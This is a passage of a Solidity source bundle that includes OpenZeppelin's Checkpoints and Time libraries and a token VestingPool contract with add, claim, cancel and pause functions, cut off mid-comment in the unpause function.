key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace224 storage self) internal view returns (uint224) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace224 storage self) internal view returns (bool exists, uint32 _key, uint224 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint224 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace224 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace224 storage self, uint32 pos) internal view returns (Checkpoint224 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint224[] storage self, uint32 key, uint224 value) private returns (uint224, uint224) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint224 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint224[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint224 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace208 {\n Checkpoint208[] _checkpoints;\n }\n\n struct Checkpoint208 {\n uint48 _key;\n uint208 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace208 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint48).max` key set will disable the\n * library.\n */\n function push(Trace208 storage self, uint48 key, uint208 value) internal returns (uint208, uint208) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace208 storage self) internal view returns (uint208) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace208 storage self) internal view returns (bool exists, uint48 _key, uint208 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint208 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace208 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace208 storage self, uint32 pos) internal view returns (Checkpoint208 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint208[] storage self, uint48 key, uint208 value) private returns (uint208, uint208) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint208 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint208({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint208({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint208[] storage self,\n uint48 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint208[] storage self,\n uint48 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint208[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint208 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace160 {\n Checkpoint160[] _checkpoints;\n }\n\n struct Checkpoint160 {\n uint96 _key;\n uint160 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace160 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint96).max` key set will disable the\n * library.\n */\n function push(Trace160 storage self, uint96 key, uint160 value) internal returns (uint160, uint160) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace160 storage self, uint96 key) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace160 storage self) internal view returns (uint160) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace160 storage self) internal view returns (bool exists, uint96 _key, uint160 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint160 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace160 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace160 storage self, uint32 pos) internal view returns (Checkpoint160 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint160[] storage self, uint96 key, uint160 value) private returns (uint160, uint160) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint160 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint160[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint160 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/types/Time.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/types/Time.sol)\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"../math/Math.sol\";\nimport {SafeCast} from \"../math/SafeCast.sol\";\n\n/**\n * @dev This library provides helpers for manipulating time-related objects.\n *\n * It uses the following types:\n * - `uint48` for timepoints\n * - `uint32` for durations\n *\n * While the library doesn't provide specific types for timepoints and duration, it does provide:\n * - a `Delay` type to represent duration that can be programmed to change value automatically at a given point\n * - additional helper functions\n */\nlibrary Time {\n using Time for *;\n\n /**\n * @dev Get the block timestamp as a Timepoint.\n */\n function timestamp() internal view returns (uint48) {\n return SafeCast.toUint48(block.timestamp);\n }\n\n /**\n * @dev Get the block number as a Timepoint.\n */\n function blockNumber() internal view returns (uint48) {\n return SafeCast.toUint48(block.number);\n }\n\n // ==================================================== Delay =====================================================\n /**\n * @dev A `Delay` is a uint32 duration that can be programmed to change value automatically at a given point in the\n * future. The \"effect\" timepoint describes when the transitions happens from the \"old\" value to the \"new\" value.\n * This allows updating the delay applied to some operation while keeping some guarantees.\n *\n * In particular, the {update} function guarantees that if the delay is reduced, the old delay still applies for\n * some time. For example if the delay is currently 7 days to do an upgrade, the admin should not be able to set\n * the delay to 0 and upgrade immediately. If the admin wants to reduce the delay, the old delay (7 days) should\n * still apply for some time.\n *\n *\n * The `Delay` type is 112 bits long, and packs the following:\n *\n * ```\n * | [uint48]: effect date (timepoint)\n * | | [uint32]: value before (duration)\n * ↓ ↓ ↓ [uint32]: value after (duration)\n * 0xAAAAAAAAAAAABBBBBBBBCCCCCCCC\n * ```\n *\n * NOTE: The {get} and {withUpdate} functions operate using timestamps. Block number based delays are not currently\n * supported.\n */\n type Delay is uint112;\n\n /**\n * @dev Wrap a duration into a Delay to add the one-step \"update in the future\" feature\n */\n function toDelay(uint32 duration) internal pure returns (Delay) {\n return Delay.wrap(duration);\n }\n\n /**\n * @dev Get the value at a given timepoint plus the pending value and effect timepoint if there is a scheduled\n * change after this timepoint. If the effect timepoint is 0, then the pending value should not be considered.\n */\n function _getFullAt(Delay self, uint48 timepoint) private pure returns (uint32, uint32, uint48) {\n (uint32 valueBefore, uint32 valueAfter, uint48 effect) = self.unpack();\n return effect <= timepoint ? (valueAfter, 0, 0) : (valueBefore, valueAfter, effect);\n }\n\n /**\n * @dev Get the current value plus the pending value and effect timepoint if there is a scheduled change. If the\n * effect timepoint is 0, then the pending value should not be considered.\n */\n function getFull(Delay self) internal view returns (uint32, uint32, uint48) {\n return _getFullAt(self, timestamp());\n }\n\n /**\n * @dev Get the current value.\n */\n function get(Delay self) internal view returns (uint32) {\n (uint32 delay, , ) = self.getFull();\n return delay;\n }\n\n /**\n * @dev Update a Delay object so that it takes a new duration after a timepoint that is automatically computed to\n * enforce the old delay at the moment of the update. Returns the updated Delay object and the timestamp when the\n * new delay becomes effective.\n */\n function withUpdate(\n Delay self,\n uint32 newValue,\n uint32 minSetback\n ) internal view returns (Delay updatedDelay, uint48 effect) {\n uint32 value = self.get();\n uint32 setback = uint32(Math.max(minSetback, value > newValue ? value - newValue : 0));\n effect = timestamp() + setback;\n return (pack(value, newValue, effect), effect);\n }\n\n /**\n * @dev Split a delay into its components: valueBefore, valueAfter and effect (transition timepoint).\n */\n function unpack(Delay self) internal pure returns (uint32 valueBefore, uint32 valueAfter, uint48 effect) {\n uint112 raw = Delay.unwrap(self);\n\n valueAfter = uint32(raw);\n valueBefore = uint32(raw >> 32);\n effect = uint48(raw >> 64);\n\n return (valueBefore, valueAfter, effect);\n }\n\n /**\n * @dev pack the components into a Delay object.\n */\n function pack(uint32 valueBefore, uint32 valueAfter, uint48 effect) internal pure returns (Delay) {\n return Delay.wrap((uint112(effect) << 64) | (uint112(valueBefore) << 32) | uint112(valueAfter));\n }\n}\n"
},
"contracts/libraries/VestingLibrary.sol": {
"content": "/// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.8.22 <0.9.0;\n\nlibrary VestingLibrary {\n bytes32 private constant DOMAIN_SEPARATOR_TYPEHASH =\n keccak256(\"EIP712Domain(string name,string version)\");\n\n bytes32 private constant VESTING_TYPEHASH =\n keccak256(\n \"Vesting(address owner,uint8 curveType,bool managed,uint16 durationWeeks,uint64 startDate,uint128 amount,uint128 initialUnlock,bool requiresSPT)\"\n );\n\n // Sane limits based on: https://eips.ethereum.org/EIPS/eip-1985\n // amountClaimed should always be equal to or less than amount\n // pausingDate should always be equal to or greater than startDate\n struct Vesting {\n // First storage slot\n uint128 initialUnlock; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n uint8 curveType; // 1 byte -> Max 256 different curve types\n bool managed; // 1 byte\n uint16 durationWeeks; // 2 bytes -> Max 65536 weeks ~ 1260 years\n uint64 startDate; // 8 bytes -> Works until year 292278994, but not before 1970\n // Second storage slot\n uint128 amount; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n uint128 amountClaimed; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n // Third storage slot\n uint64 pausingDate; // 8 bytes -> Works until year 292278994, but not before 1970\n bool cancelled; // 1 byte\n bool requiresSPT; // 1 byte\n }\n\n /// @notice Calculate the id for a vesting based on its parameters.\n /// @param owner The owner for which the vesting was created\n /// @param curveType Type of the curve that is used for the vesting\n /// @param managed Indicator if the vesting is managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting started (can be in the future)\n /// @param amount Amount of tokens that are vested in atoms\n /// @param initialUnlock Amount of tokens that are unlocked immediately in atoms\n /// @return vestingId Id of a vesting based on its parameters\n function vestingHash(\n address owner,\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) external pure returns (bytes32 vestingId) {\n bytes32 domainSeparator = keccak256(\n abi.encode(DOMAIN_SEPARATOR_TYPEHASH, \"VestingLibrary\", \"1.0\")\n );\n bytes32 vestingDataHash = keccak256(\n abi.encode(\n VESTING_TYPEHASH,\n owner,\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n )\n );\n vestingId = keccak256(\n abi.encodePacked(\n bytes1(0x19),\n bytes1(0x01),\n domainSeparator,\n vestingDataHash\n )\n );\n }\n}\n"
},
"contracts/VestingPool.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.8.22 <0.9.0;\n\nimport { ERC20Votes } from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol\";\nimport { VestingLibrary } from \"./libraries/VestingLibrary.sol\";\nimport { IERC20 } from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\n/// @title Vesting contract for single account\n/// Original contract - https://github.com/safe-global/safe-token/blob/main/contracts/VestingPool.sol\n/// @author Daniel Dimitrov - @compojoom, Fred Lührs - @fredo\ncontract VestingPool {\n event AddedVesting(bytes32 indexed id);\n event ClaimedVesting(bytes32 indexed id, address indexed beneficiary);\n event PausedVesting(bytes32 indexed id);\n event UnpausedVesting(bytes32 indexed id);\n event CancelledVesting(bytes32 indexed id);\n\n bool public initialised;\n address public owner;\n\n address public token;\n address public immutable sptToken;\n address public poolManager;\n\n uint256 public totalTokensInVesting;\n mapping(bytes32 => VestingLibrary.Vesting) public vestings;\n\n modifier onlyPoolManager() {\n require(\n msg.sender == poolManager,\n \"Can only be called by pool manager\"\n );\n _;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Can only be claimed by vesting owner\");\n _;\n }\n\n // solhint-disable-next-line no-empty-blocks\n constructor(address _sptToken) {\n sptToken = _sptToken;\n // don't do anything else here to allow usage of proxy contracts.\n }\n\n /// @notice Initialize the vesting pool\n /// @dev This can only be called once\n /// @param _token The token that should be used for the vesting\n /// @param _poolManager The manager of this vesting pool (e.g. the address that can call `addVesting`)\n /// @param _owner The owner of this vesting pool (e.g. the address that can call `delegateTokens`)\n function initialize(\n address _token,\n address _poolManager,\n address _owner\n ) public {\n require(!initialised, \"The contract has already been initialised.\");\n require(_token != address(0), \"Invalid token account\");\n require(_poolManager != address(0), \"Invalid pool manager account\");\n require(_owner != address(0), \"Invalid account\");\n\n initialised = true;\n\n token = _token;\n poolManager = _poolManager;\n\n owner = _owner;\n }\n\n function delegateTokens(address delegatee) external onlyOwner {\n ERC20Votes(token).delegate(delegatee);\n }\n\n /// @notice Create a vesting on this pool for `account`.\n /// @dev This can only be called by the pool manager\n /// @dev It is required that the pool has enough tokens available\n /// @param curveType Type of the curve that should be used for the vesting\n /// @param managed Boolean that indicates if the vesting can be managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting should be started (can be in the past)\n /// @param amount Amount of tokens that should be vested in atoms\n /// @param initialUnlock Amount of tokens that should be unlocked immediately\n /// @return vestingId The id of the created vesting\n function addVesting(\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) public virtual onlyPoolManager returns (bytes32) {\n return\n _addVesting(\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n );\n }\n\n /// @notice Calculate the amount of tokens available for new vestings.\n /// @dev This value changes when more tokens are deposited to this contract\n /// @return Amount of tokens that can be used for new vestings.\n function tokensAvailableForVesting() public view virtual returns (uint256) {\n return\n ERC20Votes(token).balanceOf(address(this)) - totalTokensInVesting;\n }\n\n /// @notice Create a vesting on this pool for `account`.\n /// @dev It is required that the pool has enough tokens available\n /// @dev Account cannot be zero address\n /// @param curveType Type of the curve that should be used for the vesting\n /// @param managed Boolean that indicates if the vesting can be managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting should be started (can be in the past)\n /// @param amount Amount of tokens that should be vested in atoms\n /// @param vestingId The id of the created vesting\n function _addVesting(\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) internal returns (bytes32 vestingId) {\n require(curveType < 2, \"Invalid vesting curve\");\n vestingId = VestingLibrary.vestingHash(\n owner,\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n );\n require(vestings[vestingId].amount == 0, \"Vesting id already used\");\n // Check that enough tokens are available for the new vesting\n uint256 availableTokens = tokensAvailableForVesting();\n require(availableTokens >= amount, \"Not enough tokens available\");\n // Mark tokens for this vesting in use\n totalTokensInVesting += amount;\n vestings[vestingId] = VestingLibrary.Vesting({\n curveType: curveType,\n managed: managed,\n durationWeeks: durationWeeks,\n startDate: startDate,\n amount: amount,\n amountClaimed: 0,\n pausingDate: 0,\n cancelled: false,\n initialUnlock: initialUnlock,\n requiresSPT: requiresSPT\n });\n emit AddedVesting(vestingId);\n }\n\n /// @notice Claim `tokensToClaim` tokens from vesting `vestingId` and transfer them to the `beneficiary`.\n /// @dev This can only be called by the owner of the vesting\n /// @dev Beneficiary cannot be the 0-address\n /// @dev This will trigger a transfer of tokens\n /// @param vestingId Id of the vesting from which the tokens should be claimed\n /// @param beneficiary Account that should receive the claimed tokens\n /// @param tokensToClaim Amount of tokens to claim in atoms or max uint128 to claim all available\n function claimVestedTokens(\n bytes32 vestingId,\n address beneficiary,\n uint128 tokensToClaim\n ) public {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n\n uint128 tokensClaimed = updateClaimedTokens(\n vestingId,\n beneficiary,\n tokensToClaim\n );\n\n if(vesting.requiresSPT) {\n require(\n IERC20(sptToken).transferFrom(msg.sender, address(this), tokensClaimed),\n \"SPT transfer failed\"\n );\n }\n\n require(\n ERC20Votes(token).transfer(beneficiary, tokensClaimed),\n \"Token transfer failed\"\n );\n }\n\n /// @notice Update `amountClaimed` on vesting `vestingId` by `tokensToClaim` tokens.\n /// @dev This can only be called by the owner of the vesting\n /// @dev Beneficiary cannot be the 0-address\n /// @dev This will only update the internal state and NOT trigger the transfer of tokens.\n /// @param vestingId Id of the vesting from which the tokens should be claimed\n /// @param beneficiary Account that should receive the claimed tokens\n /// @param tokensToClaim Amount of tokens to claim in atoms or max uint128 to claim all available\n /// @param tokensClaimed Amount of tokens that have been newly claimed by calling this method\n function updateClaimedTokens(\n bytes32 vestingId,\n address beneficiary,\n uint128 tokensToClaim\n ) internal onlyOwner returns (uint128 tokensClaimed) {\n require(beneficiary != address(0), \"Cannot claim to 0-address\");\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n // Calculate how many tokens can be claimed\n uint128 availableClaim = _calculateVestedAmount(vesting) -\n vesting.amountClaimed;\n // If max uint128 is used, claim all available tokens.\n tokensClaimed = tokensToClaim == type(uint128).max\n ? availableClaim\n : tokensToClaim;\n require(\n tokensClaimed <= availableClaim,\n \"Trying to claim too many tokens\"\n );\n // Adjust how many tokens are locked in vesting\n totalTokensInVesting -= tokensClaimed;\n vesting.amountClaimed += tokensClaimed;\n emit ClaimedVesting(vestingId, beneficiary);\n }\n\n /// @notice Cancel vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only manageable vestings can be cancelled\n /// @param vestingId Id of the vesting that should be cancelled\n function cancelVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.managed, \"Only managed vestings can be cancelled\");\n require(!vesting.cancelled, \"Vesting already cancelled\");\n bool isFutureVesting = block.timestamp <= vesting.startDate;\n // If vesting is not already paused it will be paused\n // Pausing date should not be reset else tokens of the initial pause can be claimed\n if (vesting.pausingDate == 0) {\n // pausingDate should always be larger or equal to startDate\n vesting.pausingDate = isFutureVesting\n ? vesting.startDate\n : uint64(block.timestamp);\n }\n // Vesting is cancelled, therefore tokens that are not vested yet, will be added back to the pool\n uint128 unusedToken = isFutureVesting\n ? vesting.amount\n : vesting.amount - _calculateVestedAmount(vesting);\n totalTokensInVesting -= unusedToken;\n // Vesting is set to cancelled and therefore disallows unpausing\n vesting.cancelled = true;\n emit CancelledVesting(vestingId);\n }\n\n /// @notice Pause vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only manageable vestings can be paused\n /// @param vestingId Id of the vesting that should be paused\n function pauseVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.managed, \"Only managed vestings can be paused\");\n require(vesting.pausingDate == 0, \"Vesting already paused\");\n // pausingDate should always be larger or equal to startDate\n vesting.pausingDate = block.timestamp <= vesting.startDate\n ? vesting.startDate\n : uint64(block.timestamp);\n emit PausedVesting(vestingId);\n }\n\n /// @notice Unpause vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only vestings that have 